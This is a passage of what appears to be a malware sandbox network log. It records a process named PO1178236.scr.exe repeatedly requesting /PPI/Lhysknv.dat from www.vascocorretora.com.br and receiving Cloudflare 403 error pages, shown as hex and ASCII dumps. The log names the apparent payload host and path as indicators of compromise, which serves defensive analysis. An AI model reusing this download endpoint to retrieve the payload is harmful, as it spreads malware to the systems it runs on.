3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:26 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
2025-01-09 07:29:26 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:29:26 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 35 64 32 63 63 32 30 66 34 39 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b75d2cc20f49</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:29:26 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 35 64 32 63 63 32 30 66 34 39 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 32 4e 69 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b75d2cc20f49',t:'MTczNjQwNzc2Ni4wMDAwMDA='};v
2025-01-09 07:29:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	49922	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:27 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:27 UTC	1013	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:42 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nX9fLsGzerHR4doVGKek5Z2epFGG8zBri0hFKgO8Uv7VLOatIh68oHT4HMw%2BOXUFlsXd9N5l%2Fz%2BpO2NxA876XgCqNHS%2BUGdDvaveaYt%2B0Q%2FwB8fz%2BqemgSAhPxjbtGSPJQz0fSfjDVRXyWVw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7610b1278e7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2021&min_rtt=2019&rtt_var=762&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1432777&cwnd=234&unsent_bytes=0&cid=1c41cdd8b98c3f6e&ts=152&x=0"
2025-01-09 07:29:27 UTC	356	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:27 UTC	1369	IN	Data Raw: 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 Data Ascii: Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="wi
2025-01-09 07:29:27 UTC	1369	IN	Data Raw: 65 63 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d Data Ascii: ection cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>...
2025-01-09 07:29:27 UTC	1369	IN	Data Raw: 6d 3a 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 36 31 30 62 31 32 37 38 65 37 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a Data Ascii: m:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7610b1278e7</strong></span> <span class="cf-footer-separator sm:
2025-01-09 07:29:27 UTC	1006	IN	Data Raw: 3e 0a 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 36 31 30 62 31 32 37 38 65 37 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 32 4e 79 34 77 4d 44 41 77 4d 44 41 3d Data Ascii: > window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7610b1278e7',t:'MTczNjQwNzc2Ny4wMDAwMDA=
2025-01-09 07:29:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	49927	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:27 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:27 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:42 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HYEgg6w2Kug8lorcwdcUwJ7Wvc6xMaoUo5u1tS3qfq31a%2BP%2BegSdXo4eFMNSUzBuXQl9McZZJaArwEUjl%2B0w7U9sj6XvU4gdj%2BhlVGuoPXVRUzBnAeWTR97dkJcO2udOE1o7ixRxF%2BIwXORU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b764fb1041a3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1823&min_rtt=1798&rtt_var=692&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1624026&cwnd=162&unsent_bytes=0&cid=68901536894b44dd&ts=153&x=0"
2025-01-09 07:29:27 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:27 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
2025-01-09 07:29:27 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:29:27 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 36 34 66 62 31 30 34 31 61 33 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b764fb1041a3</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:29:27 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 36 34 66 62 31 30 34 31 61 33 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 32 4e 79 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b764fb1041a3',t:'MTczNjQwNzc2Ny4wMDAwMDA='};v
2025-01-09 07:29:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	49933	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:28 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:28 UTC	1007	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:43 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QInSXNrfoUezcAFYSU6V7bCNQLDexgV1hgvnG%2FFAXmVMF%2B0PI1T6wliYpRrf78hkf%2BMeiRN0jeL0sXPZH5kcBw4fBEDnpGTXMsOaYBRYj8JFf4w6fZOMYTXF%2Fbq3J6IVmS7TSAqHXV08devj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b768da4d42b0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1708&min_rtt=1659&rtt_var=657&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1760096&cwnd=233&unsent_bytes=0&cid=6758a36284491a4e&ts=128&x=0"
2025-01-09 07:29:28 UTC	362	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:28 UTC	1369	IN	Data Raw: 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 Data Ascii: flare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=de
